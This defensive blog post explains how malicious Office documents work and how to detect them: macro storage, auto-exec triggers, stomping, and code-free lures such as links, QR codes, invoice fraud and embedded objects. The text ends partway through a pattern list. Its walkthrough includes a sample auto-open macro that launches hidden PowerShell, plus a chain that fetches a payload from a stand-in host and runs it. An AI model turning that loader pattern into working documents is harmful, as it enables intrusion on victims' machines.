[{"data":1,"prerenderedAt":2377},["ShallowReactive",2],{"blog-file-attack-document-macros":3,"blog-all-for-related":1886},{"id":4,"title":5,"author":6,"body":7,"cardAlt":1867,"categories":1868,"description":1871,"draft":1872,"extension":1873,"headerImage":1874,"keywords":1875,"meta":1876,"name":1877,"navigation":1878,"path":1879,"seo":1880,"series":1881,"stem":1883,"updated":6,"year":1884,"__hash__":1885},"blog\u002Fblog\u002Ffile-attack-document-macros.md","File Attack Deep Dives: Office Documents as an Attack Surface",null,{"type":8,"value":9,"toc":1852},"minimark",[10,17,26,150,155,158,181,199,232,251,266,303,307,310,377,380,406,424,439,442,660,664,667,672,682,738,752,756,763,817,834,838,847,902,914,918,921,975,987,991,999,1007,1010,1014,1017,1158,1161,1487,1491,1500,1503,1541,1545,1548,1755,1759,1773,1776,1802,1805,1808,1848],[11,12,13],"key-takeaway",{"dataCallout":11},[14,15,16],"p",{},"A document is a container that can carry code, but it does not need any. The\nsame file can deliver a click, a phone handoff, or a payment request with no\nmacro and no executable at all. Read the structure, then read the intent.",[14,18,19,20,25],{},"Part 2 of this series, ",[21,22,24],"a",{"href":23},"\u002Fblog\u002Ffile-attack-html-smuggling","HTML as an attack surface",",\ncovered the one file type that is also a program. Office documents are the\nopposite problem: the container is ordinary, and the attack lives either in a\nhidden binary part or in the words and links on the page. This part covers both.\nFirst the code, so you know where a macro hides and every way it fires. Then the\ndocuments that carry no code at all, because those are the ones a macro policy\nnever touches.",[27,28,33,146],"figure",{"className":29,"role":31,"ariaLabel":32},[30],"article-figure","img","Macro document lifecycle: a .docm is delivered carrying code in vbaProject.bin. The user opens it in Protected View, clicks Enable Content, an AutoOpen procedure runs, and the Office application spawns a script host that downloads and runs a second-stage payload, all on the endpoint, after the file has passed every transit control.",[34,35,39,56],"svg",{"viewBox":36,"xmlns":37,"style":38},"0 0 640 452","http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg","display:block;width:100%;max-width:640px;height:auto;margin:0 auto",[40,41,42],"defs",{},[43,44,51],"marker",{"id":45,"viewBox":46,"refX":47,"refY":48,"markerWidth":49,"markerHeight":49,"orient":50},"macro-arrow","0 0 10 10","10","5","7","auto",[52,53],"path",{"d":54,"style":55},"M0,0 L10,5 L0,10 z","fill:var(--muted)",[57,58,60,69,76,81,89,92,96,100,104,108,112,116,120,123,127,131,135,138,142],"g",{"style":59},"font-family:var(--mono);fill:var(--ink)",[61,62],"rect",{"x":63,"y":64,"width":65,"height":66,"rx":67,"style":68},"36","18","568","62","8","fill:var(--paper);stroke:var(--line)",[70,71,75],"text",{"x":72,"y":73,"style":74},"60","45","font-size:14px","Invoice_Q3.docm",[70,77,80],{"x":72,"y":78,"style":79},"64","font-size:11.5px;fill:var(--muted)","a normal document, with code in vbaProject.bin",[82,83],"line",{"x1":84,"y1":85,"x2":84,"y2":86,"style":87,"markerEnd":88},"320","82","102","stroke:var(--muted)","url(#macro-arrow)",[61,90],{"x":63,"y":91,"width":65,"height":66,"rx":67,"style":68},"106",[70,93,95],{"x":72,"y":94,"style":74},"133","Opened in Word",[70,97,99],{"x":72,"y":98,"style":79},"152","Protected View loads the macro project but keeps it dormant",[82,101],{"x1":84,"y1":102,"x2":84,"y2":103,"style":87,"markerEnd":88},"170","190",[61,105],{"x":63,"y":106,"width":65,"height":66,"rx":67,"style":107},"194","fill:var(--paper);stroke:var(--accent)",[70,109,111],{"x":72,"y":110,"style":74},"221","“Enable Content” clicked",[70,113,115],{"x":72,"y":114,"style":79},"240","the human hands over execution",[82,117],{"x1":84,"y1":118,"x2":84,"y2":119,"style":87,"markerEnd":88},"258","278",[61,121],{"x":63,"y":122,"width":65,"height":66,"rx":67,"style":107},"282",[70,124,126],{"x":72,"y":125,"style":74},"309","AutoOpen fires",[70,128,130],{"x":72,"y":129,"style":79},"328","Document_Open \u002F Workbook_Open runs the code",[82,132],{"x1":84,"y1":133,"x2":84,"y2":134,"style":87,"markerEnd":88},"346","366",[61,136],{"x":63,"y":137,"width":65,"height":66,"rx":67,"style":107},"370",[70,139,141],{"x":72,"y":140,"style":74},"397","Office spawns a script host",[70,143,145],{"x":72,"y":144,"style":79},"416","downloads and runs the second stage",[147,148,149],"figcaption",{},"Every step after \"Opened in Word\" happens on the endpoint, after the gateway has already handed the document over.",[151,152,154],"h2",{"id":153},"where-does-the-code-hide","Where does the code hide?",[14,156,157],{},"The VBA project lives in one opaque binary part, and its path depends on the\nhost:",[159,160,161,169,175],"ul",{},[162,163,164,165],"li",{},"Word: ",[166,167,168],"code",{},"word\u002FvbaProject.bin",[162,170,171,172],{},"Excel: ",[166,173,174],{},"xl\u002FvbaProject.bin",[162,176,177,178],{},"PowerPoint: ",[166,179,180],{},"ppt\u002FvbaProject.bin",[14,182,183,184,187,188,187,191,194,195,198],{},"A modern macro-enabled document (",[166,185,186],{},".docm",", ",[166,189,190],{},".xlsm",[166,192,193],{},".pptm",") is a ZIP archive\nof XML parts. Rename a copy to ",[166,196,197],{},".zip",", extract it, and every part is readable\nXML except one: the VBA project blob.",[14,200,201,202,205,206,209,210,213,214,217,218,221,222,225,226,228,229,231],{},"Inside that blob sits an OLE compound file holding the compressed VBA source\nplus a per-version compiled cache, with a ",[166,203,204],{},"dir"," stream describing the project\nand one stream per code module.\nThree markers confirm a package really carries a project: the ",[166,207,208],{},"vbaProject.bin","\npart itself, a ",[166,211,212],{},"macroEnabled.12"," content type in ",[166,215,216],{},"[Content_Types].xml",", and a\n",[166,219,220],{},"vbaProject"," relationship wiring the workbook to the blob. A plain ",[166,223,224],{},".xlsx"," has\nnone of these, which is why saving an ",[166,227,190],{}," down to ",[166,230,224],{}," strips the code.",[14,233,234,235,238,239,242,243,246,247,250],{},"Legacy ",[166,236,237],{},".doc"," and ",[166,240,241],{},".xls"," files skip the ZIP layer entirely: the whole file is\nthe compound document, and the VBA lives in ",[166,244,245],{},"Macros\u002FVBA"," or\n",[166,248,249],{},"_VBA_PROJECT_CUR\u002FVBA"," storages.",[14,252,253,254,257,258,261,262,265],{},"Analyst tooling reads this layout directly. ",[166,255,256],{},"oledump.py"," lists the compound\nstreams and flags macro-bearing ones with a capital ",[166,259,260],{},"M",", while ",[166,263,264],{},"olevba"," extracts\nand deobfuscates the source without opening the document. A structure-first\ntriage, stream list before source read, tells you in seconds whether there is\nanything to detonate at all.",[27,267,270,292,297],{"className":268},[269],"browser-frame",[271,272,275,287],"div",{"className":273},[274],"chrome",[276,277,280,283,285],"span",{"className":278},[279],"dots",[281,282],"i",{},[281,284],{},[281,286],{},[276,288,291],{"className":289},[290],"url","oledump.py, structure before source",[31,293],{"src":294,"alt":295,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fmacro-oledump.webp","Terminal output of oledump.py listing streams in a .docm, with two streams flagged with a capital M for macro-bearing.","lazy",[147,298,299,300,302],{},"Structure first: two macro-bearing streams (",[166,301,260],{},") sit inside an otherwise ordinary document.",[151,304,306],{"id":305},"which-procedure-names-fire-it","Which procedure names fire it?",[14,308,309],{},"These names are the switch. If one appears in the project, the code runs on\nopen. Before reading a single line of VBA, an analyst asks whether anything runs\nautomatically, and the triggers fall into three groups, matched case-insensitively:",[159,311,312,336,357],{},[162,313,314,318,319,187,322,325,326,187,329,187,332,335],{},[315,316,317],"strong",{},"The legacy Auto family",", inherited from Word 6: ",[166,320,321],{},"AutoOpen",[166,323,324],{},"AutoClose",",\n",[166,327,328],{},"AutoExec",[166,330,331],{},"AutoExit",[166,333,334],{},"AutoNew",".",[162,337,338,341,342,187,345,325,348,187,351,187,354,335],{},[315,339,340],{},"Word object-model handlers",": ",[166,343,344],{},"Document_Open",[166,346,347],{},"Document_Close",[166,349,350],{},"Document_New",[166,352,353],{},"Document_BeforeClose",[166,355,356],{},"Document_BeforeSave",[162,358,359,341,362,187,365,325,368,187,371,187,374,335],{},[315,360,361],{},"Excel object-model handlers",[166,363,364],{},"Workbook_Open",[166,366,367],{},"Workbook_Close",[166,369,370],{},"Workbook_Activate",[166,372,373],{},"Workbook_BeforeClose",[166,375,376],{},"Workbook_BeforeSave",[14,378,379],{},"This is the moment the whole class turns on: a normal-looking invoice, one\nyellow bar, one click. Everything after that is the application obeying the\nfile.",[27,381,383,399,403],{"className":382},[269],[271,384,386,395],{"className":385},[274],[276,387,389,391,393],{"className":388},[279],[281,390],{},[281,392],{},[281,394],{},[276,396,398],{"className":397},[290],"Invoice_Q3.docm in Protected View",[31,400],{"src":401,"alt":402,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fmacro-warning.webp","A Word window showing an invoice with a yellow SECURITY WARNING bar: Macros have been disabled, with an Enable Content button.",[147,404,405],{},"The tell in plain sight: a document that needs \"content enabled\" to behave.",[14,407,408,409,411,412,415,416,419,420,423],{},"A single line in ",[166,410,344],{}," calling ",[166,413,414],{},"Shell"," is a different threat from a\nlong sophisticated macro with no automatic trigger. But the absence of an\nauto-exec name is not a clean bill of health: documents pair triggerless\nmacros with \"enable content\" social engineering, or with remote template\ninjection, where an ",[166,417,418],{},"attachedTemplate"," relationship points at an external\n",[166,421,422],{},".dotm"," that carries the real code.",[14,425,426,427,430,431,434,435,438],{},"Two structural evasions deserve their own checks. ",[315,428,429],{},"VBA stomping"," exploits\nthe compiled cache: Excel may run the per-version P-code without recompiling\nthe visible source, so the code you read is not the code that runs. Detection\ncompares the P-code disassembly against the source and flags divergence.\n",[315,432,433],{},"XLM 4.0 macros",", the pre-VBA Excel language, hide in concealed sheets and\nare missed outright by VBA-only parsers, so sheet inspection belongs in the\ntriage alongside stream inspection. And macros are not even required: ",[315,436,437],{},"DDE","\n(Dynamic Data Exchange) fields can launch a command from a code-free document\nwhen the user accepts a prompt.",[14,440,441],{},"Step through the sequence and watch the gap open between what a control sees and\nwhat the machine actually does:",[443,444,449],"pre",{"className":445,"code":446,"language":447,"meta":448,"style":448},"language-walkthrough shiki shiki-themes github-light github-dark","{\n  \"title\": \"A macro document, end to end\",\n  \"carrier\": \"Invoice_Q3.docm\",\n  \"stages\": [\n    {\n      \"title\": \"Delivered\",\n      \"sees\": \"a Word document (.docm), no executable, no archive\",\n      \"actually\": \"a ZIP whose vbaProject.bin holds an opaque OLE blob of VBA source plus compiled p-code\",\n      \"artifact\": { \"kind\": \"code\", \"lang\": \"text\", \"content\": \"word\u002FvbaProject.bin\\n[Content_Types].xml  → macroEnabled.12\\nword\u002F_rels\u002Fdocument.xml.rels  → vbaProject\" }\n    },\n    {\n      \"title\": \"Opened\",\n      \"sees\": \"Protected View, then a yellow \\\"Macros have been disabled\\\" bar\",\n      \"actually\": \"the project is loaded but dormant. Nothing runs until consent\",\n      \"artifact\": { \"kind\": \"mock\", \"mock\": { \"kind\": \"document-macro\", \"carrier\": \"Invoice_Q3.docm\", \"badges\": [\"macroEnabled.12\"], \"hidden\": \"vbaProject.bin\", \"action\": \"on open\" } }\n    },\n    {\n      \"title\": \"Content enabled\",\n      \"sees\": \"the user clicking Enable Content\",\n      \"actually\": \"the auto-exec entry point fires\",\n      \"artifact\": { \"kind\": \"code\", \"lang\": \"vb\", \"content\": \"Private Sub Document_Open()\\n  Shell \\\"powershell -w hidden -enc …\\\"\\nEnd Sub\" }\n    },\n    {\n      \"title\": \"Acting\",\n      \"sees\": \"a document still open on screen\",\n      \"actually\": \"WINWORD.EXE spawns a script host and reaches out for the second stage\",\n      \"artifact\": { \"kind\": \"code\", \"lang\": \"text\", \"content\": \"WINWORD.EXE\\n  └─ powershell.exe -w hidden -enc …\\n       └─ GET hxxp:\u002F\u002Facme-cdn[.]example\u002Fa.dat → %TEMP%\\\\a.dll\\n            └─ rundll32 %TEMP%\\\\a.dll,Start\" }\n    },\n    {\n      \"title\": \"Result\",\n      \"sees\": \"nothing unusual, if you only watch the document\",\n      \"actually\": \"a second stage is written and executed; the document was just the loader\",\n      \"artifact\": { \"kind\": \"mock\", \"mock\": { \"kind\": \"document-macro\", \"carrier\": \"Invoice_Q3.docm\", \"hidden\": \"a.dll\", \"action\": \"via PowerShell, hidden\" } }\n    }\n  ]\n}\n","walkthrough","",[166,450,451,457,463,469,475,481,487,493,499,505,511,516,522,528,534,540,545,550,556,562,568,574,579,584,590,596,602,608,613,618,624,630,636,642,648,654],{"__ignoreMap":448},[276,452,454],{"class":82,"line":453},1,[276,455,456],{},"{\n",[276,458,460],{"class":82,"line":459},2,[276,461,462],{},"  \"title\": \"A macro document, end to end\",\n",[276,464,466],{"class":82,"line":465},3,[276,467,468],{},"  \"carrier\": \"Invoice_Q3.docm\",\n",[276,470,472],{"class":82,"line":471},4,[276,473,474],{},"  \"stages\": [\n",[276,476,478],{"class":82,"line":477},5,[276,479,480],{},"    {\n",[276,482,484],{"class":82,"line":483},6,[276,485,486],{},"      \"title\": \"Delivered\",\n",[276,488,490],{"class":82,"line":489},7,[276,491,492],{},"      \"sees\": \"a Word document (.docm), no executable, no archive\",\n",[276,494,496],{"class":82,"line":495},8,[276,497,498],{},"      \"actually\": \"a ZIP whose vbaProject.bin holds an opaque OLE blob of VBA source plus compiled p-code\",\n",[276,500,502],{"class":82,"line":501},9,[276,503,504],{},"      \"artifact\": { \"kind\": \"code\", \"lang\": \"text\", \"content\": \"word\u002FvbaProject.bin\\n[Content_Types].xml  → macroEnabled.12\\nword\u002F_rels\u002Fdocument.xml.rels  → vbaProject\" }\n",[276,506,508],{"class":82,"line":507},10,[276,509,510],{},"    },\n",[276,512,514],{"class":82,"line":513},11,[276,515,480],{},[276,517,519],{"class":82,"line":518},12,[276,520,521],{},"      \"title\": \"Opened\",\n",[276,523,525],{"class":82,"line":524},13,[276,526,527],{},"      \"sees\": \"Protected View, then a yellow \\\"Macros have been disabled\\\" bar\",\n",[276,529,531],{"class":82,"line":530},14,[276,532,533],{},"      \"actually\": \"the project is loaded but dormant. Nothing runs until consent\",\n",[276,535,537],{"class":82,"line":536},15,[276,538,539],{},"      \"artifact\": { \"kind\": \"mock\", \"mock\": { \"kind\": \"document-macro\", \"carrier\": \"Invoice_Q3.docm\", \"badges\": [\"macroEnabled.12\"], \"hidden\": \"vbaProject.bin\", \"action\": \"on open\" } }\n",[276,541,543],{"class":82,"line":542},16,[276,544,510],{},[276,546,548],{"class":82,"line":547},17,[276,549,480],{},[276,551,553],{"class":82,"line":552},18,[276,554,555],{},"      \"title\": \"Content enabled\",\n",[276,557,559],{"class":82,"line":558},19,[276,560,561],{},"      \"sees\": \"the user clicking Enable Content\",\n",[276,563,565],{"class":82,"line":564},20,[276,566,567],{},"      \"actually\": \"the auto-exec entry point fires\",\n",[276,569,571],{"class":82,"line":570},21,[276,572,573],{},"      \"artifact\": { \"kind\": \"code\", \"lang\": \"vb\", \"content\": \"Private Sub Document_Open()\\n  Shell \\\"powershell -w hidden -enc …\\\"\\nEnd Sub\" }\n",[276,575,577],{"class":82,"line":576},22,[276,578,510],{},[276,580,582],{"class":82,"line":581},23,[276,583,480],{},[276,585,587],{"class":82,"line":586},24,[276,588,589],{},"      \"title\": \"Acting\",\n",[276,591,593],{"class":82,"line":592},25,[276,594,595],{},"      \"sees\": \"a document still open on screen\",\n",[276,597,599],{"class":82,"line":598},26,[276,600,601],{},"      \"actually\": \"WINWORD.EXE spawns a script host and reaches out for the second stage\",\n",[276,603,605],{"class":82,"line":604},27,[276,606,607],{},"      \"artifact\": { \"kind\": \"code\", \"lang\": \"text\", \"content\": \"WINWORD.EXE\\n  └─ powershell.exe -w hidden -enc …\\n       └─ GET hxxp:\u002F\u002Facme-cdn[.]example\u002Fa.dat → %TEMP%\\\\a.dll\\n            └─ rundll32 %TEMP%\\\\a.dll,Start\" }\n",[276,609,611],{"class":82,"line":610},28,[276,612,510],{},[276,614,616],{"class":82,"line":615},29,[276,617,480],{},[276,619,621],{"class":82,"line":620},30,[276,622,623],{},"      \"title\": \"Result\",\n",[276,625,627],{"class":82,"line":626},31,[276,628,629],{},"      \"sees\": \"nothing unusual, if you only watch the document\",\n",[276,631,633],{"class":82,"line":632},32,[276,634,635],{},"      \"actually\": \"a second stage is written and executed; the document was just the loader\",\n",[276,637,639],{"class":82,"line":638},33,[276,640,641],{},"      \"artifact\": { \"kind\": \"mock\", \"mock\": { \"kind\": \"document-macro\", \"carrier\": \"Invoice_Q3.docm\", \"hidden\": \"a.dll\", \"action\": \"via PowerShell, hidden\" } }\n",[276,643,645],{"class":82,"line":644},34,[276,646,647],{},"    }\n",[276,649,651],{"class":82,"line":650},35,[276,652,653],{},"  ]\n",[276,655,657],{"class":82,"line":656},36,[276,658,659],{},"}\n",[151,661,663],{"id":662},"what-if-the-document-carries-no-code-at-all","What if the document carries no code at all?",[14,665,666],{},"Blocking macros closes one door and leaves the rest of the building open. Every\nvector below is a normal document doing something a document is supposed to do,\nwhich is exactly why inspection has nothing to flag.",[668,669,671],"h3",{"id":670},"the-link-is-the-attack","The link is the attack",[14,673,674,675,681],{},"The document is a pretext: a \"protected document\", an unpaid invoice, a \"sign to\nreceive\" notice. It wants one click, and the link lands on a credential page or a\npayload. It is an old trick, and it exists precisely to get past attachment\nscanners, which inspect the file rather than where a link leads. Proofpoint\nstill sees it at scale: in 2024 it documented a campaign that put the links\ninside PDF attachments\n(",[21,676,680],{"href":677,"rel":678},"https:\u002F\u002Fwww.proofpoint.com\u002Fus\u002Fblog\u002Fthreat-insight\u002Fsecurity-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign",[679],"nofollow","TA450",").",[271,683,686,712],{"className":684},[685],"figure-pair",[27,687,689,705,709],{"className":688},[269],[271,690,692,701],{"className":691},[274],[276,693,695,697,699],{"className":694},[279],[281,696],{},[281,698],{},[281,700],{},[276,702,704],{"className":703},[290],"Invoice_Q3.docm in Word",[31,706],{"src":707,"alt":708,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Flink-lure.webp","Defanged Word window showing an invoice with a Protected document banner, a Sign in to view button, and an underlined Click here to view your invoice link outlined in red.",[147,710,711],{},"What you see. The red outline is the link, and it is the only thing in this document that does anything.",[27,713,715,731,735],{"className":714},[269],[271,716,718,727],{"className":717},[274],[276,719,721,723,725],{"className":720},[279],[281,722],{},[281,724],{},[281,726],{},[276,728,730],{"className":729},[290],"Edit hyperlink",[31,732],{"src":733,"alt":734,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Flink-lure-target.webp","Defanged Word hyperlink dialog showing the display text Click here to view your invoice and its real hxxp address, outlined in red, with no macro project.",[147,736,737],{},"What it is. The display text and the address disagree, and there is no macro to find.",[159,739,740,746],{},[162,741,742,745],{},[315,743,744],{},"Tell:"," a document whose only value is one link; a \"sign in to view\" banner\non a file nobody asked for; link text that disagrees with the real target.",[162,747,748,751],{},[315,749,750],{},"Detection:"," resolve every URL in the document, including the ones hidden\nbehind display text, and treat a document that demands credentials as a\nphishing artifact rather than a file to detonate.",[668,753,755],{"id":754},"a-qr-code-leaves-your-network","A QR code leaves your network",[14,757,758,759,762],{},"Put the link in a picture. A QR code is an image, so text scanners walk past it,\nand the person who scans it is on a phone that sits outside the proxy, the\nlogging, and often the managed device. It is the same handoff\n",[21,760,761],{"href":23},"Part 2 describes for HTML pages",", moved into a\ndocument, and it is why \"scan this to verify\" has become a standard lure.",[271,764,766,791],{"className":765},[685],[27,767,769,784,788],{"className":768},[269],[271,770,772,781],{"className":771},[274],[276,773,775,777,779],{"className":774},[279],[281,776],{},[281,778],{},[281,780],{},[276,782,704],{"className":783},[290],[31,785],{"src":786,"alt":787,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fqr-document.webp","Defanged Word invoice with a QR code beside a Scan to view and pay prompt, the QR outlined in red.",[147,789,790],{},"What you see. A picture where a link would normally be.",[27,792,794,810,814],{"className":793},[269],[271,795,797,806],{"className":796},[274],[276,798,800,802,804],{"className":799},[279],[281,801],{},[281,803],{},[281,805],{},[276,807,809],{"className":808},[290],"zbarimg output",[31,811],{"src":812,"alt":813,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fqr-document-target.webp","Terminal output decoding the QR code to an hxxp payment address, outlined in red, noting that no text in the document points there.",[147,815,816],{},"What it is. Decoded, the image points at a payment page the document never names.",[159,818,819,824],{},[162,820,821,823],{},[315,822,744],{}," a QR code inside a document, especially beside \"scan to pay\" or\n\"scan to verify\", or a document that asks the reader to continue on a phone.",[162,825,826,828,829,833],{},[315,827,750],{}," decode every QR image in the document and score the target. Use\nthe ",[21,830,832],{"href":831},"\u002Ftools\u002Fqr-generator","QR workbench"," to see what a scanner would follow.",[668,835,837],{"id":836},"the-invoice-itself-is-the-attack","The invoice itself is the attack",[14,839,840,841,846],{},"Here nothing executes and nothing is clicked. The document is a financial request\nwith a plausible story and a new bank account, and the transfer is the payload.\nThat is business email compromise: impersonation in service of financial theft.\nThe FBI's IC3 described the pattern in its\n",[21,842,845],{"href":843,"rel":844},"https:\u002F\u002Fwww.ic3.gov\u002FPSA\u002F2024\u002FPSA240911",[679],"BEC advisory",", and it remains one of the\ncostliest categories in its annual report.",[271,848,850,876],{"className":849},[685],[27,851,853,869,873],{"className":852},[269],[271,854,856,865],{"className":855},[274],[276,857,859,861,863],{"className":858},[279],[281,860],{},[281,862],{},[281,864],{},[276,866,868],{"className":867},[290],"Invoice_Q3_REVISED.docm in Word",[31,870],{"src":871,"alt":872,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Finvoice-fraud.webp","Defanged Word document titled Remittance Update showing a changed account name, sort code, and account number, with the new account number outlined in red.",[147,874,875],{},"What arrives. A payment instruction with new bank details and a plausible story.",[27,877,879,895,899],{"className":878},[269],[271,880,882,891],{"className":881},[274],[276,883,885,887,889],{"className":884},[279],[281,886],{},[281,888],{},[281,890],{},[276,892,894],{"className":893},[290],"Invoice_Q1.docm in Word",[31,896],{"src":897,"alt":898,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Finvoice-fraud-original.webp","Defanged Word document titled Remittance Details on file showing the original account name, sort code, and account number, with the account number on file outlined in red.",[147,900,901],{},"What it should be. The details on file, which the new document quietly replaces.",[159,903,904,909],{},[162,905,906,908],{},[315,907,744],{}," a payment instruction that arrives as an attachment; a change of bank\ndetails, especially mid-thread or close to a deadline; a domain that is\nbrand-adjacent rather than the one you pay every month.",[162,910,911,913],{},[315,912,750],{}," process, not signature. Confirm banking changes on a number you\nalready hold, and require a second person to approve a change of payee.",[668,915,917],{"id":916},"an-embedded-object-runs-on-double-click","An embedded object runs on double-click",[14,919,920],{},"A document can carry another file inside it, dressed as an innocent icon. The\nembedded object can be a script, a package, or an executable, and opening it runs\nthe content rather than the container. That makes it a proxy-execution problem as\nmuch as a document problem.",[271,922,924,949],{"className":923},[685],[27,925,927,942,946],{"className":926},[269],[271,928,930,939],{"className":929},[274],[276,931,933,935,937],{"className":932},[279],[281,934],{},[281,936],{},[281,938],{},[276,940,704],{"className":941},[290],[31,943],{"src":944,"alt":945,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fembedded-object.webp","Defanged properties panel showing an embedded Package object displayed as Invoice_details.pdf whose content is invoice_details.exe, with the executable name outlined in red.",[147,947,948],{},"What you see. An icon that claims to be a PDF.",[27,950,952,968,972],{"className":951},[269],[271,953,955,964],{"className":954},[274],[276,956,958,960,962],{"className":957},[279],[281,959],{},[281,961],{},[281,963],{},[276,965,967],{"className":966},[290],"procexp parent chain",[31,969],{"src":970,"alt":971,"loading":296},"\u002Fimages\u002Fblog\u002Ffile-attack-document-macros\u002Fexamples\u002Fembedded-object-target.webp","Terminal output showing WINWORD.EXE spawning invoice_details.exe with the spawned executable outlined in red, which then launches a hidden PowerShell command.",[147,973,974],{},"What it is. Word spawns the executable the object was hiding.",[159,976,977,982],{},[162,978,979,981],{},[315,980,744],{}," an embedded object whose display name disagrees with its content type;\na document that asks the reader to double-click an icon to \"view the details\".",[162,983,984,986],{},[315,985,750],{}," enumerate embedded objects, compare the declared type against the\nreal one, and treat a mismatch as malicious.",[151,988,990],{"id":989},"why-do-gateways-miss-it","Why do gateways miss it?",[14,992,993,994,681],{},"Because nothing dangerous is visible at the point of inspection. A dormant macro\nis inert until consent, and a code-free lure is only text. Classic controls look\nfor a known macro hash or flag any macro at all. Both fail the same way:\nattackers build low-volume, per-target documents, so signatures miss, and the\ngeneric \"enable content\" warning still gets clicked by enough people. Obfuscation\nframeworks widen the gap. Cisco Talos documented\nMacroPack-generated documents uploaded between May and July 2024 from sources\nin China, Pakistan, Russia, and the US, each carrying generic \"enable content\"\nlures and multi-stage VBA that delivered Havoc, Brute Ratel, and PhantomCore\npayloads (",[21,995,998],{"href":996,"rel":997},"https:\u002F\u002Fblog.talosintelligence.com\u002Fthreat-actors-using-macropack\u002F",[679],"MacroPack abuse",[14,1000,1001,1002,681],{},"This is not theoretical either. In February 2025, SentinelOne researchers\ndescribed a Ghostwriter campaign, prepared since mid-2024 and active by\nNovember, that sent RAR archives via Google Drive containing Excel workbooks\nwith Macropack-obfuscated macros. Enabling content wrote a DLL that staged\nPicassoLoader while a decoy workbook held the victim's attention\n(",[21,1003,1006],{"href":1004,"rel":1005},"https:\u002F\u002Fthehackernews.com\u002F2025\u002F02\u002Fbelarus-linked-ghostwriter-uses.html",[679],"Ghostwriter campaign",[14,1008,1009],{},"The pattern across both campaigns is the point: per-sample builds defeat\nhashes, layered obfuscation defeats strings, and the human click defeats the\nrest.",[151,1011,1013],{"id":1012},"what-are-the-detection-tells","What are the detection tells?",[14,1015,1016],{},"Structure before detonation, behavior after. Work through these in order of\nsignal quality.",[159,1018,1019,1042,1056,1069,1075,1100,1106,1137,1143,1152],{},[162,1020,1021,1024,1025,1027,1028,1031,1032,1034,1035,1038,1039,1041],{},[315,1022,1023],{},"Macro project presence."," The ",[166,1026,208],{}," part path, the\n",[166,1029,1030],{},"macroEnabled"," content type, and the ",[166,1033,220],{}," relationship, confirmed\nwith an ",[166,1036,1037],{},"oledump","-style stream list showing capital-",[166,1040,260],{}," macro streams.\nNo project means no macro; a project in a document that should be code-free\nis itself the finding.",[162,1043,1044,1047,1048,1051,1052,1055],{},[315,1045,1046],{},"Auto-exec entry point."," One of the Auto, ",[166,1049,1050],{},"Document_*",", or ",[166,1053,1054],{},"Workbook_*","\nnames in the deobfuscated source. This is the highest-value static signal\nbecause it answers whether the code fires on open.",[162,1057,1058,1061,1062,1064,1065,1068],{},[315,1059,1060],{},"External template relationship."," An ",[166,1063,418],{}," target in the\n",[166,1066,1067],{},".rels"," files pointing off-host, when the delivered document carries no macro\nof its own. The code is still to come.",[162,1070,1071,1074],{},[315,1072,1073],{},"XLM and concealed sheets."," Excel 4.0 macro sheets hidden behind concealed\nor very-hidden visibility, which VBA-only parsers skip entirely.",[162,1076,1077,1080,1081,1084,1085,1088,1089,1092,1093,187,1096,1099],{},[315,1078,1079],{},"Suspicious primitives in the source."," ",[166,1082,1083],{},"Shell()"," and\n",[166,1086,1087],{},"CreateObject(\"WScript.Shell\")",", download pairs like ",[166,1090,1091],{},"MSXML2.XMLHTTP"," with\n",[166,1094,1095],{},"ADODB.Stream",[166,1097,1098],{},"URLDownloadToFile",", and PowerShell invocations with\nencoded or hidden flags. Real-world droppers follow this shape: create an\nHTTP object, download a file, decode it, and execute it hidden.",[162,1101,1102,1105],{},[315,1103,1104],{},"P-code versus source divergence."," A stomping check comparing compiled\ncache against visible source. Divergence means the source review is\nfiction; treat the sample as malicious until the cache is understood.",[162,1107,1108,1111,1112,1115,1116,1119,1120,325,1123,1126,1127,187,1130,1051,1133,1136],{},[315,1109,1110],{},"Office spawning a script host."," The behavioral pair that survives every\nobfuscator: ",[166,1113,1114],{},"WINWORD.EXE"," or ",[166,1117,1118],{},"EXCEL.EXE"," spawning PowerShell, ",[166,1121,1122],{},"cmd",[166,1124,1125],{},"wscript","\u002F",[166,1128,1129],{},"cscript",[166,1131,1132],{},"mshta",[166,1134,1135],{},"msiexec",", followed by file writes and\nnetwork connections. The Office process has to spawn the interpreter either\nway, and that is the part obfuscation cannot change.",[162,1138,1139,1142],{},[315,1140,1141],{},"Sandbox-evasion checks in the code."," Conditions that bail out under\nanalysis: a single logical CPU, disk under 60GB, memory under 1GB, a bare\nusername, watchlisted analysis processes, or a near-empty recent-files\nlist. Talos found exactly this checklist gating a MacroPack second stage.\nEvasion logic is itself a verdict: benign macros do not probe for debuggers.",[162,1144,1145,1148,1149,1151],{},[315,1146,1147],{},"A document with no code that still wants something."," A link, a QR code, a\nchange of bank details, or an embedded object, in a file with no macro project\nand no business reason to be there. The absence of ",[166,1150,208],{}," is not\nclearance.",[162,1153,1154,1157],{},[315,1155,1156],{},"A link or QR target that disagrees with its presentation."," Display text\npointing somewhere else, a QR whose decoded target is a raw IP or a look-alike\ndomain, or a payment page on a domain you do not normally pay.",[14,1159,1160],{},"Pick a pattern below, see how it lands, then reveal the tell and the detection.",[443,1162,1166],{"className":1163,"code":1164,"language":1165,"meta":448,"style":448},"language-files shiki shiki-themes github-light github-dark","[\n  {\n    \"name\": \"Auto-exec VBA\",\n    \"how\": \"A .docm or .xlsm carries VBA in word\u002FvbaProject.bin or xl\u002FvbaProject.bin. On open with content enabled, an AutoOpen or Document_Open entry point runs code that downloads and executes a payload.\",\n    \"tell\": \"Capital-M macro streams in the project blob, an auto-exec procedure name, and download plus Shell primitives in the deobfuscated source.\",\n    \"detect\": \"Extract macros without opening the document, flag auto-exec entry points, and detonate in a sandbox that simulates enabling content while watching for Office-spawns-script-host chains.\"\n  },\n  {\n    \"name\": \"Triggerless macro + lure\",\n    